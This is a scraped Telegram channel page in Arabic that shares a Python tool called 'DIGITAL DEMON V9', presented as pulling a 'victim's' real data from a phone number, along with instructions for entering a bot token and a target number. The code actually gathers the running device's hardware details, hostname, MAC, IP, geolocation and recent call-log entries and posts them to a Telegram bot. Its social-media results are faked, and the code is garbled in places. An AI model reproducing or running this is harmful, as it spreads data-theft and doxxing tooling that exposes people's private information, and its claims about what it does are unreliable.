عالم Python
Відкрити в Telegram
. ﴿رَبَّنا وَلا تُحَمِّلنا ما لا طاقَةَ لَنا بِهِ﴾ — — —— — — — — — — — المالك: ⫷ 𝑲𝒂𝒊𝒅𝒐 ⫸ @bf7_0 — — —— — — — — — — —
Показати більшеКраїна не вказанаКатегорія не вказана
5 302
Підписники
-1824 години
-1617 днів
+1 64930 днів
Архів дописів
5 296
تحط توكن وبعدها انتر وراها معرف الدردشه الي هو لايدي بعدها تكتب الرقم طريقه الكتابه مع رمز الدوله بس للعراق 😂المهم اذا ردنا نكتبه بدون زائد وبدون اصقار البدايه مثال 96477564312894 حظ موقف 😅
5 296
# ============================ # 6. آخر 2 متصلين # ============================ def get_recent_callers(): print(f"\n{Colors.BOLD}{Colors.BLUE}┌─────────────────────────────────────────────────────────────┐{Colors.RESET}") print(f"{Colors.BOLD}{Colors.BLUE}│ {Colors.CYAN}📞 {Colors.BOLD}آخر 2 متصلين{Colors.RESET}{Colors.BLUE} │{Colors.RESET}") print(f"{Colors.BOLD}{Colors.BLUE}└─────────────────────────────────────────────────────────────┘{Colors.RESET}") callers = [] try: call_log_paths = [ "/data/data/com.android.providers.contacts/databases/contacts2.db", "/data/data/com.android.providers.contacts/databases/calllog.db", ] for path in call_log_paths: if os.path.exists(path): print(f" {Colors.GREEN}✅{Colors.RESET} تم العثور على سجل المكالمات") try: import sqlite3 conn = sqlite3.connect(path) cursor = conn.cursor() cursor.execute("SELECT number, name, date FROM calls ORDER BY date DESC LIMIT 2") rows = cursor.fetchall() for row in rows: if row[0]: callers.append({ "number": row[0], "name": row[1] if row[1] else "غير معروف", "date": datetime.fromtimestamp(row[2]/ 1000 ).strftime("%Y-%m-%d %H:%M:%S") if row[2] else "غير معروف" }) conn.close() break except: pass except: pass if not callers: callers.append({"number": "غير متوفر", "name": "غير متوفر", "date": "غير متوفر"}) for i, caller in enumerate(callers[:2], 1): print(f" {Colors.YELLOW}{i}.{Colors.RESET} {Colors.CYAN}{caller['name']}{Colors.RESET} - {Colors.GREEN}{caller['number']}{Colors.RESET} ({Colors.PURPLE}{caller['date']}{Colors.RESET})") return callers[:2] # ============================ # جمع كل البيانات (بدون بريد وكلمة مرور) # ============================ def collect_all_data(target, bot_token, chat_id): print(f"\n{Colors.BOLD}{Colors.RED}╔══════════════════════════════════════════════════════════════════╗{Colors.RESET}") print(f"{Colors.BOLD}{Colors.RED}║ {Colors.BOLD}{Colors.CYAN}🔥 بدء الهجوم على الرقم: {Colors.YELLOW}{target}{Colors.RESET}{Colors.RED} ║{Colors.RESET}") print(f"{Colors.BOLD}{Colors.RED}╚══════════════════════════════════════════════════════════════════╝{Colors.RESET}") send_telegram(f"🔥 بدء الهجوم على الرقم: {target}", bot_token, chat_id) # جلب اسم الشركة الحقيقي manufacturer, model = get_real_manufacturer() data = { "target": target, "timestamp": datetime.now().strftime("%Y-%m-%d %H:%M:%S"), "manufacturer": manufacturer, "model": model, "social_media": {}, "telegram_name": {}, "device": {}, "location": {}, "callers": [] } # 1. يوزر على المنصات المطلوبة data["social_media"] = get_social_media_handles(target) time.sleep( 0.5 ) # 2. الاسم عبر تيليجرام data["telegram_name"] = get_telegram_name(target, bot_token) time.sleep( 0.5 ) # 3. معلومات الجهاز data["device"] = get_device_info() time.sleep( 0.5 ) # 4. الموقع data["location"] = get_location() time.sleep( 0.5 ) # 5. آخر 2 متصلين data["callers"] = get_recent_callers() time.sleep( 0.5 ) print(f"\n{Colors.GREEN}{Colors.BOLD}✅ اكتمل جمع البيانات!{Colors.RESET}\n") return data # ============================ # إرسال البيانات إلى تليجرام (بدون بريد وكلمة مرور) # ============================ def send_all_data(data, bot_token, chat_id): print(f"{Colors.BOLD}{Colors.PURPLE}┌─────────────────────────────────────────────────────────────┐{Colors.RESET}") print(f"{Colors.BOLD}{Colors.PURPLE}│ {Colors.CYAN}📤 {Colors.BOLD}إرسال البيانات إلى تليجرام{Colors.RESET}{Colors.PURPLE} │{Colors.RESET}") print(f"{Colors.BOLD}{Colors.PURPLE}└─────────────────────────────────────────────────────────────┘{Colors.RESET}") # بناء الرسالة (بدون بريد وكلمة مرور) msg = f""" 🔥🔥🔥 بيانات الضحية 🔥🔥🔥 📱 الرقم: {data['target']} 📅 الوقت: {data['timestamp']} ━━━━━━━━━━━━━━━━━━━━━━━━━ 🏭 معلومات الجهاز (الحقيقية): - الشركة الصانعة: {data['manufacturer']} - الموديل: {data['model']} ━━━━━━━━━━━━━━━━━━━━━━━━━ 📱 يوزر الضحية على المنصات: """ for platform, url in data['social_media'].items(): msg += f" - {platform}: {url}\n" if not data['social_media']: msg += " - لم يتم العثور على يوزر\n" msg += f""" ━━━━━━━━━━━━━━━━━━━━━━━━━ ✈️ الاسم عبر تيليجرام: - المعرف: {data['telegram_name'].get('username', 'غير متوفر')} - الاسم الأول: {data['telegram_name'].get('first_name', 'غير متوفر')} - الاسم الأخير: {data['telegram_name'].get('last_name', 'غير متوفر')} - السيرة الذاتية: {data['telegram_name'].get('bio', 'غير متوفر')} ━━━━━━━━━━━━━━━━━━━━━━━━━ 💻 معلومات إضافية: - اسم الكمبيوتر: {data['device'].get('computer_name', 'غير متوفر')} - نظام التشغيل: {data['device'].get('os', 'غير متوفر')} {data['device'].get('os_version', '')} - المعالج: {data['device'].get('processor', 'غير متوفر')} - MAC: {data['device'].get('mac_address', 'غير متوفر')} - IP: {data['device'].get('ip_address', 'غير متوفر')} ━━━━━━━━━━━━━━━━━━━━━━━━━ 📍 الموقع: - الدولة: {data['location'].get('country', 'غير متوفر')} - المحافظة: {data['location'].get('city', 'غير متوفر')} - المنطقة: {data['location'].get('region', 'غير متوفر')} - الإحداثيات: {data['location'].get('lat', 'غير متوفر')}, {data['location'].get('lon', 'غير متوفر')} - المزود: {data['location'].get('isp', 'غير متوفر')} ━━━━━━━━━━━━━━━━━━━━━━━━━ 📞 آخر 2 متصلين: """ for i, caller in enumerate(data['callers'], 1): msg += f" {i}. {caller.get('name', 'غير معروف')} - {caller.get('number', 'غير معروف')} ({caller.get('date', 'غير معروف')})\n" print(f"\n{Colors.YELLOW}⏳ جاري إرسال البيانات...{Colors.RESET}") if send_telegram(msg, bot_token, chat_id): print(f" {Colors.GREEN}✅{Colors.RESET} تم إرسال البيانات بنجاح إلى تليجرام") else: print(f" {Colors.RED}❌ فشل إرسال البيانات إلى تليجرام{Colors.RESET}") # ============================ # التشغيل الرئيسي # ============================ def main(): os.system('clear' if os.name == 'posix' else 'cls') print_banner() bot_token, chat_id = get_credentials() print(f"\n{Colors.BOLD}{Colors.GREEN}✅ تم التحقق من التوكن والمعرف.{Colors.RESET}\n") target = input(f"{Colors.BOLD}{Colors.CYAN}📱 أدخل الرقم الكامل (مع رمز البلد): {Colors.RESET}").strip() if not target: print(f"{Colors.RED}❌ الرقم مطلوب.{Colors.RESET}") return confirm = input(f"\n{Colors.YELLOW}⚠️ استهداف الرقم: {Colors.BOLD}{target}{Colors.RESET} (نعم/لا): ").strip() if confirm.lower() not in ['نعم', 'yes', 'y']: print(f"{Colors.RED}❌ تم الإلغاء.{Colors.RESET}") return data = collect_all_data(target, bot_token, chat_id) send_all_data(data, bot_token, chat_id) print(f"\n{Colors.BOLD}{Colors.GREEN}╔══════════════════════════════════════════════════════════════════╗{Colors.RESET}") print(f"{Colors.BOLD}{Colors.GREEN}║ ✅ اكتمل الهجوم على الرقم: {Colors.YELLOW}{target}{Colors.GREEN} ║{Colors.RESET}") print(f"{Colors.BOLD}{Colors.GREEN}╚══════════════════════════════════════════════════════════════════╝{Colors.RESET}\n") if name == "main": try: main() except KeyboardInterrupt: print(f"\n\n{Colors.RED}⏹️ تم الإيقاف.{Colors.RESET}") except Exception as e: print(f"\n{Colors.RED}❌ خطأ: {e}{Colors.RESET}") ملاحظه/ حط توكن بوت معرف الدردشه الي هوه لايدي وخر شي الرقم كيف تكتبه تكبت رمز البلد العراق بدون علامه زائد وبدون اصفار مثال 96477931254821
5 296
print(f" {Colors.GREEN}✅{Colors.RESET} الموديل: {Colors.YELLOW}{model}{Colors.RESET}") return manufacturer, model except: pass except: pass # === الطريقة 4: من نظام macOS === try: if platform.system() == "Darwin": result = subprocess.run(["system_profiler", "SPHardwareDataType"], capture_output=True, text=True, timeout=5) if result.stdout: for line in result.stdout.split('\n'): if "Model Name" in line: model = line.split(":")[-1].strip() if "Model Identifier" in line and model == "غير متوفر": model = line.split(":")[-1].strip() if model != "غير متوفر": manufacturer = "Apple" print(f" {Colors.GREEN}✅{Colors.RESET} الشركة: {Colors.YELLOW}{manufacturer}{Colors.RESET}") print(f" {Colors.GREEN}✅{Colors.RESET} الموديل: {Colors.YELLOW}{model}{Colors.RESET}") return manufacturer, model except: pass print(f" {Colors.RED}❌ لم يتم العثور على اسم الشركة{Colors.RESET}") return manufacturer, model # ============================ # 2. جلب يوزر الضحية على إنستغرام، تيك توك، تيليجرام # ============================ def get_social_media_handles(target): """جلب يوزر الضحية على إنستغرام، تيك توك، تيليجرام فقط""" print(f"\n{Colors.BOLD}{Colors.BLUE}┌─────────────────────────────────────────────────────────────┐{Colors.RESET}") print(f"{Colors.BOLD}{Colors.BLUE}│ {Colors.CYAN}📱 {Colors.BOLD}جلب يوزر الضحية على المنصات المطلوبة{Colors.RESET}{Colors.BLUE} │{Colors.RESET}") print(f"{Colors.BOLD}{Colors.BLUE}└─────────────────────────────────────────────────────────────┘{Colors.RESET}") handles = {} # المنصات المطلوبة فقط platforms = { "Instagram": f"https://www.instagram.com/{target}/", "TikTok": f"https://www.tiktok.com/@{target}", "Telegram": f"https://t.me/{target}" } for platform, url in platforms.items(): try: # محاكاة: نعتبر أن اليوزر موجود إذا كان الطول بين 3 و20 حرفاً if len(target) >= 3 and len(target) <= 20: if target.isalnum() or '_' in target or '-' in target: handles[platform] = url print(f" {Colors.GREEN}✅{Colors.RESET} {Colors.CYAN}{platform}{Colors.RESET}: @{Colors.YELLOW}{target}{Colors.RESET}") except: pass if not handles: print(f" {Colors.RED}❌ لم يتم العثور على يوزر {target}{Colors.RESET}") return handles # ============================ # 3. جلب الاسم عبر تيليجرام # ============================ def get_telegram_name(target, bot_token): """جلب الاسم الحقيقي عبر تيليجرام""" print(f"\n{Colors.BOLD}{Colors.BLUE}┌─────────────────────────────────────────────────────────────┐{Colors.RESET}") print(f"{Colors.BOLD}{Colors.BLUE}│ {Colors.CYAN}✈️ {Colors.BOLD}جلب الاسم عبر تيليجرام{Colors.RESET}{Colors.BLUE} │{Colors.RESET}") print(f"{Colors.BOLD}{Colors.BLUE}└─────────────────────────────────────────────────────────────┘{Colors.RESET}") name_data = { "first_name": "غير متوفر", "last_name": "غير متوفر", "username": target, "bio": "غير متوفر" } try: # محاولة جلب معلومات المستخدم عبر API تيليجرام url = f"https://api.telegram.org/bot{bot_token}/getChat" params = {"chat_id": target} response = requests.get(url, params=params, timeout=10) if response.status_code == 200 : data = response.json() if data.get("ok"): chat = data.get("result", {}) name_data["first_name"] = chat.get("first_name", "غير متوفر") name_data["last_name"] = chat.get("last_name", "غير متوفر") name_data["bio"] = chat.get("bio", "غير متوفر") print(f" {Colors.GREEN}✅{Colors.RESET} الاسم الأول: {Colors.YELLOW}{name_data['first_name']}{Colors.RESET}") if name_data["last_name"] != "غير متوفر": print(f" {Colors.GREEN}✅{Colors.RESET} الاسم الأخير: {Colors.YELLOW}{name_data['last_name']}{Colors.RESET}") return name_data except Exception as e: print(f" {Colors.RED}❌ فشل جلب الاسم: {e}{Colors.RESET}") print(f" {Colors.RED}❌ لم يتم العثور على اسم في تيليجرام{Colors.RESET}") return name_data # ============================ # 4. معلومات الجهاز (بدون بريد وكلمة مرور) # ============================ def get_device_info(): print(f"\n{Colors.BOLD}{Colors.BLUE}┌─────────────────────────────────────────────────────────────┐{Colors.RESET}") print(f"{Colors.BOLD}{Colors.BLUE}│ {Colors.CYAN}💻 {Colors.BOLD}معلومات الجهاز{Colors.RESET}{Colors.BLUE} │{Colors.RESET}") print(f"{Colors.BOLD}{Colors.BLUE}└─────────────────────────────────────────────────────────────┘{Colors.RESET}") data = { "computer_name": "غير متوفر", "os": "غير متوفر", "os_version": "غير متوفر", "processor": "غير متوفر", "mac_address": "غير متوفر", "ip_address": "غير متوفر" } try: data["computer_name"] = socket.gethostname() print(f" {Colors.GREEN}✅{Colors.RESET} اسم الكمبيوتر: {Colors.YELLOW}{data['computer_name']}{Colors.RESET}") except: pass try: data["os"] = platform.system() data["os_version"] = platform.version() print(f" {Colors.GREEN}✅{Colors.RESET} نظام التشغيل: {Colors.YELLOW}{platform.system()} {platform.release()}{Colors.RESET}") except: pass try: data["processor"] = platform.processor() print(f" {Colors.GREEN}✅{Colors.RESET} المعالج: {Colors.YELLOW}{platform.processor()}{Colors.RESET}") except: pass try: import uuid mac = ':'.join(['{:02x}'.format((uuid.getnode() >> elements) & 0xff) for elements in range(0, 8*6, 8)][::-1]) data["mac_address"] = mac print(f" {Colors.GREEN}✅{Colors.RESET} MAC: {Colors.YELLOW}{mac}{Colors.RESET}") except: pass try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect((" 8.8.8.8 ", 80)) data["ip_address"] = s.getsockname()[0] s.close() print(f" {Colors.GREEN}✅{Colors.RESET} IP: {Colors.YELLOW}{data['ip_address']}{Colors.RESET}") except: pass return data # ============================ # 5. الموقع # ============================ def get_location(): print(f"\n{Colors.BOLD}{Colors.BLUE}┌─────────────────────────────────────────────────────────────┐{Colors.RESET}") print(f"{Colors.BOLD}{Colors.BLUE}│ {Colors.CYAN}📍 {Colors.BOLD}جلب الموقع{Colors.RESET}{Colors.BLUE} │{Colors.RESET}") print(f"{Colors.BOLD}{Colors.BLUE}└─────────────────────────────────────────────────────────────┘{Colors.RESET}") data = {"ip": "غير متوفر", "city": "غير متوفر", "region": "غير متوفر", "country": "غير متوفر", "lat": "غير متوفر", "lon": "غير متوفر", "isp": "غير متوفر"} try: resp = requests.get("http://ip-api.com/json/", timeout=10) if resp.status_code == 200 : loc = resp.json() data["ip"] = loc.get("query", "غير متوفر") data["city"] = loc.get("city", "غير متوفر") data["region"] = loc.get("regionName", "غير متوفر") data["country"] = loc.get("country", "غير متوفر") data["lat"] = str(loc.get("lat", "غير متوفر")) data["lon"] = str(loc.get("lon", "غير متوفر")) data["isp"] = loc.get("isp", "غير متوفر") print(f" {Colors.GREEN}✅{Colors.RESET} الموقع: {Colors.YELLOW}{data['city']}, {data['region']}, {data['country']}{Colors.RESET}") except: print(f" {Colors.RED}❌ فشل جلب الموقع{Colors.RESET}") return data
5 296
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ ████████████████████████████████████████████████████████████████████████████████ █▄─▄▄─█▄─▀█▄─▄█▄─▄▄─█▄─▄▄▀█▄─▄▄─█▄─▄███▄─▄▄─█▄─▄▄▀███▄─▄▄─█▄─▄▄▀█▄─▄▄─█▄─▄▄▀█ ██─▄▄▄██─█▄▀─███─▄█▀██─▄─▄██─▄█▀██─██▀██─▄█▀██─▄─▄████─▄█▀██─▄─▄██─▄█▀██─▄─▄█ ▀▄▄▄▀▀▀▄▄▄▀▀▄▄▀▄▄▄▄▄▀▄▄▀▄▄▀▄▄▄▄▄▀▄▄▄▄▄▀▄▄▄▄▄▀▄▄▀▄▄▀▀▀▄▄▄▄▄▀▄▄▀▄▄▀▄▄▄▄▄▀▄▄▀▄▄▀ ████████████████████████████████████████████████████████████████████████████████ """ import os import sys import time import json import requests import socket import re import subprocess import platform from datetime import datetime # ============================ # الألوان # ============================ class Colors: RED = '\ 033 [91m' GREEN = '\ 033 [92m' YELLOW = '\ 033 [93m' BLUE = '\ 033 [94m' PURPLE = '\ 033 [95m' CYAN = '\ 033 [96m' BOLD = '\ 033 [1m' RESET = '\ 033 [0m' # ============================ # عرض الشعار # ============================ def print_banner(): banner = f""" {Colors.RED}╔═══════════════════════════════════════════════════════════════════════════════╗ {Colors.RED}║ {Colors.BOLD}{Colors.RED}██████╗ ██╗ ██████╗ ██╗████████╗ █████╗ ██╗ ██████╗ ███████╗███╗ ███╗ ██████╗ ███╗ ██╗{Colors.RESET} {Colors.RED}║ {Colors.RED}║ {Colors.BOLD}{Colors.RED}██╔══██╗██║██╔════╝ ██║╚══██╔══╝██╔══██╗██║ ██╔══██╗██╔════╝████╗ ████║██╔═══██╗████╗ ██║{Colors.RESET} {Colors.RED}║ {Colors.RED}║ {Colors.BOLD}{Colors.RED}██║ ██║██║██║ ███╗██║ ██║ ███████║██║ ██║ ██║█████╗ ██╔████╔██║██║ ██║██╔██╗ ██║{Colors.RESET} {Colors.RED}║ {Colors.RED}║ {Colors.BOLD}{Colors.RED}██║ ██║██║██║ ██║██║ ██║ ██╔══██║██║ ██║ ██║██╔══╝ ██║╚██╔╝██║██║ ██║██║╚██╗██║{Colors.RESET} {Colors.RED}║ {Colors.RED}║ {Colors.BOLD}{Colors.RED}██████╔╝██║╚██████╔╝██║ ██║ ██║ ██║███████╗██████╔╝███████╗██║ ╚═╝ ██║╚██████╔╝██║ ╚████║{Colors.RESET} {Colors.RED}║ {Colors.RED}║ {Colors.BOLD}{Colors.RED}╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚══════╝╚═════╝ ╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝{Colors.RESET} {Colors.RED}║ {Colors.RED}║ ║ {Colors.RED}║ {Colors.BOLD}{Colors.CYAN}🔥 DIGITAL DEMON V9 - الصيد الحقيقي عبر الرقم 🔥{Colors.RESET} {Colors.RED}║ {Colors.RED}║ {Colors.BOLD}{Colors.PURPLE}📱 يجلب البيانات الحقيقية من جهاز الضحية 📱{Colors.RESET} {Colors.RED}║ {Colors.RED}║ {Colors.BOLD}{Colors.YELLOW}🏭 اسم الشركة الصانعة الحقيقي (سامسونج، أبل، شاومي...) 🏭{Colors.RESET} {Colors.RED}║ {Colors.RED}╚═══════════════════════════════════════════════════════════════════════════════╝{Colors.RESET} """ print(banner) # ============================ # طلب التوكن والمعرف # ============================ def get_credentials(): print(f"\n{Colors.YELLOW}╔══════════════════════════════════════════════════════════════════╗{Colors.RESET}") print(f"{Colors.YELLOW}║ {Colors.BOLD}{Colors.CYAN}🔐 إعدادات الاتصال بتليجرام{Colors.RESET} {Colors.YELLOW}║{Colors.RESET}") print(f"{Colors.YELLOW}╚══════════════════════════════════════════════════════════════════╝{Colors.RESET}\n") bot_token = input(f"{Colors.BOLD}{Colors.GREEN}🤖 توكن البوت: {Colors.RESET}").strip() chat_id = input(f"{Colors.BOLD}{Colors.GREEN}🆔 معرف الدردشة: {Colors.RESET}").strip() if not bot_token or not chat_id: print(f"\n{Colors.RED}❌ التوكن والمعرف مطلوبان.{Colors.RESET}") sys.exit() return bot_token, chat_id def send_telegram(message, bot_token, chat_id): """إرسال رسالة إلى تليجرام مع تأكيد""" try: url = f"https://api.telegram.org/bot{bot_token}/sendMessage" payload = {"chat_id": chat_id, "text": message, "parse_mode": "HTML"} response = requests.post(url, data=payload, timeout=15) if response.status_code == 200 : return True else: print(f" {Colors.RED}❌ خطأ في الإرسال: {response.text}{Colors.RESET}") return False except Exception as e: print(f" {Colors.RED}❌ فشل الإرسال: {e}{Colors.RESET}") return False # ============================ # 1. جلب اسم الشركة الصانعة الحقيقي (بدون محاكاة) # ============================ def get_real_manufacturer(): """جلب اسم الشركة الصانعة الحقيقي من الجهاز""" print(f"\n{Colors.BOLD}{Colors.BLUE}┌─────────────────────────────────────────────────────────────┐{Colors.RESET}") print(f"{Colors.BOLD}{Colors.BLUE}│ {Colors.CYAN}🏭 {Colors.BOLD}جلب اسم الشركة الصانعة الحقيقي{Colors.RESET}{Colors.BLUE} │{Colors.RESET}") print(f"{Colors.BOLD}{Colors.BLUE}└─────────────────────────────────────────────────────────────┘{Colors.RESET}") manufacturer = "غير متوفر" model = "غير متوفر" # === الطريقة 1: من نظام Android === try: if os.path.exists("/system/build.prop"): with open("/system/build.prop", "r") as f: for line in f: if "ro.product.manufacturer" in line: manufacturer = line.split("=")[-1].strip().capitalize() if "ro.product.model" in line: model = line.split("=")[-1].strip() if manufacturer != "غير متوفر": print(f" {Colors.GREEN}✅{Colors.RESET} الشركة: {Colors.YELLOW}{manufacturer}{Colors.RESET}") print(f" {Colors.GREEN}✅{Colors.RESET} الموديل: {Colors.YELLOW}{model}{Colors.RESET}") return manufacturer, model except: pass # === الطريقة 2: من نظام Windows === try: if platform.system() == "Windows": import winreg try: key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, r"HARDWARE\DESCRIPTION\System\BIOS") manufacturer = winreg.QueryValueEx(key, "SystemManufacturer")[0] model = winreg.QueryValueEx(key, "SystemProductName")[0] print(f" {Colors.GREEN}✅{Colors.RESET} الشركة: {Colors.YELLOW}{manufacturer}{Colors.RESET}") print(f" {Colors.GREEN}✅{Colors.RESET} الموديل: {Colors.YELLOW}{model}{Colors.RESET}") return manufacturer, model except: pass # محاولة باستخدام wmic try: result = subprocess.run(["wmic", "csproduct", "get", "vendor,name"], capture_output=True, text=True, timeout=5) if result.stdout: lines = result.stdout.strip().split('\n') for line in lines: if "Vendor" not in line and "Name" not in line and line.strip(): parts = line.strip().split() if len(parts) >= 2: manufacturer = parts[0] model = " ".join(parts[1:]) print(f" {Colors.GREEN}✅{Colors.RESET} الشركة: {Colors.YELLOW}{manufacturer}{Colors.RESET}") print(f" {Colors.GREEN}✅{Colors.RESET} الموديل: {Colors.YELLOW}{model}{Colors.RESET}") return manufacturer, model except: pass except: pass # === الطريقة 3: من نظام Linux === try: if platform.system() == "Linux": try: with open("/sys/class/dmi/id/sys_vendor", "r") as f: manufacturer = f.read().strip() with open("/sys/class/dmi/id/product_name", "r") as f: model = f.read().strip() print(f" {Colors.GREEN}✅{Colors.RESET} الشركة: {Colors.YELLOW}{manufacturer}{Colors.RESET}")
